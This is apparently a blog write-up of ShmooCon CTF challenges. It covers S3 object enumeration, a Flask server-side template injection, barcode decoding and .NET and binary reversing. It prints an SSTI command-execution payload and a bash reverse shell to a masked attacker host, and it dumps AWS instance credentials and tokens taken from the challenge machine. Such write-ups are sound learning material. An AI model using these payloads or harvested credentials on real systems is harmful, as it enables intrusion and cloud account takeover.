ShmooCon CTF

zerofrost
Ctf
January 13, 2024

Table of Contents

Over the recent weekend, I found some free time that enabled me to participate in the ShmooCon CTF. While it did not have pwn challenges as I had hoped, they offered a variety of challenges I enjoyed solving. This blogpost is a walkthrough of some of the challenges I managed to solve.

Cloud

Statically Charged

For this challenge, we are provided with a url and upon visiting the link , we get a slideshow of some AI generated images. The site appears to be static and does not accept any form of output.
Checking the source code of the page, we see a comment with the text Always keep a backup followed by a link to an amazon hosted file
Checking the contents of the file using curl, we only get a message Keep going.

# Single request
curl -i daurazhwtjjqth0tc0n.s3.amazonaws.com/f1de00d4e00000001
HTTP/1.1 200 OK
x-amz-id-2: lUKREIivuvnFWMnU9VJwv+pC2WDGcO5a/pa1r3rWKLDi/+V8jrxKor9CACes6fPRVTSTksw4BWE=
x-amz-request-id: CHK75PJPNX83MRMR
Date: Sat, 13 Jan 2024 07:03:01 GMT
Last-Modified: Fri, 12 Jan 2024 16:28:14 GMT
ETag: "bd81c21790801b9c260eed6fc9dc3fac"
x-amz-server-side-encryption: AES256
Accept-Ranges: bytes
Content-Type: binary/octet-stream
Server: AmazonS3
Content-Length: 10

Keep going

Trying to visit the root site at daurazhwtjjqth0tc0n.s3.amazonaws.com, we get an access denied message, which means we cannot view files/filenames of other files stored on the same path.
I then had the idea to test for IDOR vulnerabilities, by trying different numbers in the filename. I wrote a bash one liner to iterate between numbers from 1 to 500

for i in $(seq 1 500);do curl "daurazhwtjjqth0tc0n.s3.amazonaws.com/f1de00d4e0000000$i";done

After a while, I got a hit for the file f1de00d4e0000000300 which returned the source code page of the file as well as the flag

# curl daurazhwtjjqth0tc0n.s3.amazonaws.com/f1de00d4e0000000300

from flask import Flask
from flask import render_template
from flask import render_template_string
import requests 
from flask import request
import re
# Always keep a backup
# BIC{d89cb791-f5e7-4e7c-9045-6fd4c5cee996}

application = Flask(__name__)
@application.route("/")
def hello(language=None):
    reg = re.compile('.config.|.self.')
    lang = request.headers.get('Accept-Language') 
    if reg.search(str(lang)):
        language = render_template_string('snap')
    else:
        language = render_template_string(lang)
    return render_template('index.html', language=language)


if __name__ == "__main__":
    application.run()

Putting in Work

This challenge was a continuation of the previous challenge. Looking back at the source code of the site, we can spot a Server Side Template Injection Vulnerability at language = render_template_string(lang) where lang is arbitrary input provided via the Accept-Language header in lang = request.headers.get('Accept-Language')

from flask import Flask
from flask import render_template
from flask import render_template_string
import requests 
from flask import request
import re
# Always keep a backup
# BIC{d89cb791-f5e7-4e7c-9045-6fd4c5cee996}

application = Flask(__name__)
@application.route("/")
def hello(language=None):
    reg = re.compile('.config.|.self.')
    lang = request.headers.get('Accept-Language') 
    if reg.search(str(lang)):
        language = render_template_string('snap')
    else:
        language = render_template_string(lang)
    return render_template('index.html', language=language)


if __name__ == "__main__":
    application.run()

We also note that the site filters for input that contains the strings .config. and .self. . Since ssti vulnerabilities allow an attacker to execute arbitrary os commands via python, I used the following command to run os commands on the target.

{{ joiner.__init__.__globals__.os.popen('os_command_here').read() }}

While solving the challenge, I did not have access to burp, hence I sent the payload using my browser which was a pain. I first sent the ls -al command to view the files in the current directory, then read the flag in flag.txt

Flag BIC{9ddac8ff-3770-48e6-b53e-447d5e7558b5}

Troposphere Walking

I did not manage to solve this challenge during the CTF, but I will document it anyway to show where I got stuck. Since we can execute arbitrary commands on the target, we can trigger a reverse shell so as to run commands efficiently. I used a personal vps (I have masked the ip) for this, but you can use services like ngrok to achieve the same

{{ joiner.__init__.__globals__.os.popen("/bin/bash -c 'bash -i >& /dev/tcp/x.xxx.xx.xxx/443 0>&1'").read() }}

Upon successful execution, we get a connection back to our attacker machine.
Running linpeas on the box , I came across the following aws credentials and vulnerable role named ctf-vuln-role which i suppose we were supposed to use for privilege escalation.

╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/home/webapp/.local/bin:/home/webapp/bin:/var/app/venv/staging-LQM1lest/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin


EC2 Security Credentials
{
  "Code": "Success",
  "LastUpdated": "2024-01-13T09:25:57Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA3SDZ3PSTO7FELKE5",
  "SecretAccessKey": "I4QxKnFxaQgmrbFsJ08mEz9qLm524qWWuEXnRLRJ",
  "Token": "IQoJb3JpZ2luX2VjELL//////////wEaCXVzLWVhc3QtMSJGMEQCIH7D+ZSFB2ENupcBbY6uLze2kRt9XF2gNas5blZMMNAiAiAArBHxL/QiSXo1eTehAHbb68cbdl4L7DwURtbSEDmrvyrGBAhbEAUaDDc5NDgyNDUwNjUzNCIMl+ECfnpqrx6i3M+wKqMEZ3C9tbMxbC+3hFjQ8a2pUakGrHPCgY+uRjz/swvMPOlirJt9ndWemI+mLAucirRGTK+3Kw1Dye6iimWK7F5vQ8LuKYVptdtilkRVn+eP6jV7Q5Or5ZuBDbyN1M2KYaQEBftW8oYsD7ebXYhANEIxCn2MmLdNk6ZTcliqnKZc0QNeRhW2TX3D7dYaPw3WxdpUEP0dVnyiRbtBIbfjdTQ+eXiy1yZQKbeJfvpzUEmLQudUbpoDrNOcNMql3dGx9c1q3vHpaJOFDWUnbt9xNIGlQqA/U9sEwiGSD2bR5qjkRhCR1VE+FA1mpAU+b8ysLRaTWdl2RgRzEEhoN9to7zX6n4dy/0i4Kie8/HCmHuMA4vzHRJLu1KeNltqEY+5D+9ucpCTvrU9n6oG4rimfLKGp+3Z7WIN5A6CEY/f38pOWG0DL2xN/Nic79uYQfzqsYhCecKhiXle5mVgP6nxGgiSRZLi/FvQ3Lm95FgBCu67RoUeiWEr9oVAmMoUKwZXpf5LGnO6p9QZs5aEaERcfHPiXe/JkONF1denU3uQSPt/UkCzcML5PMewMiRkNC+GsDJbW3kHM9natEK6bZMv2ZZ+Ym8F7xo4ivCshGIJo4LZzjx21QBmU3GDTFNP7kH6RyhESSHtfEgtG63LW/KfsVg2v6WFCR+ABc9Um15YwDvFPe+qCK1ibY9/7XXKKjJL1nkyWQLV0tQsQ9tU9MouHzOASRTxaPDDAromtBjqUAqTKzobr0LRZfSxvkN+EHBTypLlN+xs4WhD+H3eyM4Y+l9iY0MDjEVewyaXaEwfvsXB9jbQl+lnN1fYPwDEO9FaVLpuLrSmb4awawTg62ejSptrgkjdWyIU0W9bs/LCI1Ir6qVDy20kqAUTC6l2fWXx9+RRxQWVKY9L9UQV/os+usbJPv/fkP4n4Tx1ZUFk0WNqSjriWGS4Ex8tuPrGYdi+XS/PkgwcK6Dn6931QLb5ZrgNhdWBRoxGHH7o9H/yOaVSX/PL+ZCZo1Vk68kaHjfM84Cg5I5JsTNYmwI7xT+NPgf1JsfZV+6Z73s+t0o9qGEK/Al8H/EqTE/pnvAR/dX+g9xJDIvlBAe2yctvEN6119bHAtA==",
  "Expiration": "2024-01-13T15:32:10Z"
}




Role: ctf-vuln-role
{
  "Code": "Success",
  "LastUpdated": "2024-01-13T09:26:25Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA3SDZ3PSTF2DYQHSC",
  "SecretAccessKey": "p4/+cDfHOUTTGJy6gen33g53Vzu/T4alQkxaWz30",
  "Token": "IQoJb3JpZ2luX2VjELL//////////wEaCXVzLWVhc3QtMSJIMEYCIQDqd4lwIm5X9alqsdhvXWSLyNQA74KzhtXu5j5eIOng6AIhANxfOovVwNO5FqeCDpe4XnQZl4vZp83OMY0FUsqylOEXKroFCFsQBRoMNzk0ODI0NTA2NTM0Igzl2h0AQnW3A5evIPwqlwUtj3Iu3oHLAEbA2l9boIGRpgE26eQOdw1zc6A/7s6MaqhAfbvUjaLZ8/h9ox+LMW6Fxl5akzX52J/Ob0ixeAvdSfR/t4yqxpD/TeM/MP1aFI6U3gbT/knhknwPGwdWFc/XQYWrtnx2ChDZhoZjFanEnV8+b6yXqWjjYhCdD55DILkcHdhq2+Z0m0kHWD8u7odic59/8LYyGWMTxjVFZbRaBc0HoXmeZtJznRFBx1Bba40l3slOKwdVqptpVCM3vN4VGzKcgq1cMNdgBoq5fK20yKds/Ta7uHIySzKbVORBxJFbvHHdPLca5mR2UyZVCb8EYtKvd7ZSTWXDgHd7Ej4kgkvp3Joc2rWYyS6LMJZz26etrBWTO20PFzCmmxyypIg9QkApbjxQknGV5ENZ+p3SMNlRtMDvy1AV6q/TbXg3RFSrBfWt1aH2+ofV7cBz/7fTQLRz6cVJOSwQlAc+GmJp7+lenYQ3OaY6Ngi4gUyzVYsGJQVk1JJi+gRSDjmWheIxfJI1VL89+OLEA8+8wad90Npye5d1POoOMTFsAHUZbJnKbKCAsRNxw+L1cBeyhuttu+bWXBowuKqMfvsOdnplaxnlBfM1bxSYWlIhOiyjMjtJ27Mz6wpT5/QY8obRLpaxOHYShqLTSFyB+lb565l8Dfcd3TzvWDyASE/VkZdrWG5K+9t+BXz5KKeQrt41+tdU44+Rb8ufBGjq3nb6VyKf0UXMWuFw3Au/+TeONMHEQJv2JAMa9sWSQF3U1pbt4h5/7jrzGu2WrqjhrcS3zbVwNbYwKQ1OWmzanYs2xDxG7F44k20FK9hW/+ihpnn5bcB4GrKexBfy27jmokHW/BFUJRONaG+LH/0wvEKuU32Ws/nYVsNMbCswwK6JrQY6sAGEt9Fdq+7MvIYh5K3wDmaKIdnYDlsKEelEJuvaJXfmiBzzmw7Psd1J3Z8OCxON8oWHr/ynipNV+ANP6kIr7DC9Wwb9TOELfyT6nnsd4RB4qm2L7/pmPdHpCmUZdI2/9LY5CRFy1M/NB9rk7PX9nf34pgiboRX+ai4Bxu+mrpebqkOD+HZSJ0V7t2udgjzSdeiAY20xCAvqDGG7TeThPFTYnwH/6eWO1YxvOH+XdXAABw==",
  "Expiration": "2024-01-13T15:55:51Z"
}


AWS_REGION="eu-central-1"
AWS_ACCESS_KEY_ID="ASIA3SDZ3PSTF2DYQHSC"
AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjELL//////////wEaCXVzLWVhc3QtMSJIMEYCIQDqd4lwIm5X9alqsdhvXWSLyNQA74KzhtXu5j5eIOng6AIhANxfOovVwNO5FqeCDpe4XnQZl4vZp83OMY0FUsqylOEXKroFCFsQBRoMNzk0ODI0NTA2NTM0Igzl2h0AQnW3A5evIPwqlwUtj3Iu3oHLAEbA2l9boIGRpgE26eQOdw1zc6A/7s6MaqhAfbvUjaLZ8/h9ox+LMW6Fxl5akzX52J/Ob0ixeAvdSfR/t4yqxpD/TeM/MP1aFI6U3gbT/knhknwPGwdWFc/XQYWrtnx2ChDZhoZjFanEnV8+b6yXqWjjYhCdD55DILkcHdhq2+Z0m0kHWD8u7odic59/8LYyGWMTxjVFZbRaBc0HoXmeZtJznRFBx1Bba40l3slOKwdVqptpVCM3vN4VGzKcgq1cMNdgBoq5fK20yKds/Ta7uHIySzKbVORBxJFbvHHdPLca5mR2UyZVCb8EYtKvd7ZSTWXDgHd7Ej4kgkvp3Joc2rWYyS6LMJZz26etrBWTO20PFzCmmxyypIg9QkApbjxQknGV5ENZ+p3SMNlRtMDvy1AV6q/TbXg3RFSrBfWt1aH2+ofV7cBz/7fTQLRz6cVJOSwQlAc+GmJp7+lenYQ3OaY6Ngi4gUyzVYsGJQVk1JJi+gRSDjmWheIxfJI1VL89+OLEA8+8wad90Npye5d1POoOMTFsAHUZbJnKbKCAsRNxw+L1cBeyhuttu+bWXBowuKqMfvsOdnplaxnlBfM1bxSYWlIhOiyjMjtJ27Mz6wpT5/QY8obRLpaxOHYShqLTSFyB+lb565l8Dfcd3TzvWDyASE/VkZdrWG5K+9t+BXz5KKeQrt41+tdU44+Rb8ufBGjq3nb6VyKf0UXMWuFw3Au/+TeONMHEQJv2JAMa9sWSQF3U1pbt4h5/7jrzGu2WrqjhrcS3zbVwNbYwKQ1OWmzanYs2xDxG7F44k20FK9hW/+ihpnn5bcB4GrKexBfy27jmokHW/BFUJRONaG+LH/0wvEKuU32Ws/nYVsNMbCswwK6JrQY6sAGEt9Fdq+7MvIYh5K3wDmaKIdnYDlsKEelEJuvaJXfmiBzzmw7Psd1J3Z8OCxON8oWHr/ynipNV+ANP6kIr7DC9Wwb9TOELfyT6nnsd4RB4qm2L7/pmPdHpCmUZdI2/9LY5CRFy1M/NB9rk7PX9nf34pgiboRX+ai4Bxu+mrpebqkOD+HZSJ0V7t2udgjzSdeiAY20xCAvqDGG7TeThPFTYnwH/6eWO1YxvOH+XdXAABw=="
AWS_SECRET_ACCESS_KEY="p4/+cDfHOUTTGJy6gen33g53Vzu/T4alQkxaWz30"

[webapp@ip-192-168-3-4 current]$ aws sts get-caller-identity
aws sts get-caller-identity
{
    "UserId": "AROA3SDZ3PSTIFSFH6LWO:i-0809ab114f0a74a42",
    "Account": "794824506534",
    "Arn": "arn:aws:sts::794824506534:assumed-role/ctf-vuln-role/i-0809ab114f0a74a42"
}
[webapp@ip-192-168-3-4 current]$ 



aws dynamodb list-tables --profile "ctf-vuln-role"
aws backup list-tables --profile "ctf-vuln-role"

Unfortunately, I could not find a way to elevate and move laterally using the aws creds 😭 .

Crypto

BarCode ShmarCode

This was a very easy challenge. Downloading the attached file, we get the image below
I then uploaded the image to an online barcode reader site, after which I got a base64 encoded string. Decoding the string gives the flag

↪  echo RmxhZyBpcyA6IFNob3BUaWxZb3V0cm9 | base64 -d
Flag is : ShopTilYoutro

BIC{ShopTilYoutro}

Reverse Engineering

First .NET

This was a very easy challenge where you were provided with a .Net compiled exe file. For this challenge , I used iLSpy for reverse engineering. Navigating to first.net->first.net->{}->Program we find the main function which contains the flag.

Flag: BIC{Not_A_String}

WordSmith

For this challenge, I am pretty sure I used an unintended solution. But the end justifies the means 😅 . While looking at the binary strings in ghidra, I came across an unusual long string which was a base encoded string. Decoding the string using cyberchef, gave me the key , which I then used in the binary to get the flag.

Another way to solve the challenge would be to iterate through the words in the wordlist provided and pipe them to the binary i.e for i in $(cat american-english);do echo $i | ./wordsmith;done | grep Correct. While this method would work eventually, It would take longer. Below is a simple POC

Wordsmith2

This challenge is similar to the first wordsmith challenge. When the program is provided with a wrong word, it responds with Output address:6a2aaf. All i did was to pass all the words in the provided dict file to the binary and find unique output that does not match Output address:6a2aaf. I found the word representations which was the flag.

Flag : BIC{representations}

DG'hAck 2022 - Unserial Killer

This is a challenge from DG’hAck 2022 CTF which involves chasing down a pop gadget and building a pop chain to achieve arbitrary file read.

CrewCtf Writeups

It has been a while since I last participated in a CTF (Capture The Flag) competition. With a few moments to spare this weekend, I decided to immerse myself in CrewCTF by theHackersCrew CTF team. Their event offered a diverse range of challenges, but I chose to focus primarily on the fascinating field of forensics. In this blog, I will share my approach and solutions for the different challenges I managed to solve.

CyberConKE Finals CTF

This past weekend (12th Nov 2022), I got the opportunity to participate in the #CyberConKE Finals CTF at United States International University (USIU) which was an amazing experience. I played as Team ShellPhish with my teammates mug3njutsu and levanto, and we managed to attain first position. The challenges were amazing and I got to learn a thing or two. The challenges were hosted on cyberranges and are not available at the time of writing this writeup since the competition has already ended. Therefore, In this writeup,I will be covering some of the osint challenges that I can still remember and how I solved them. Below is the final scoreboard from the competition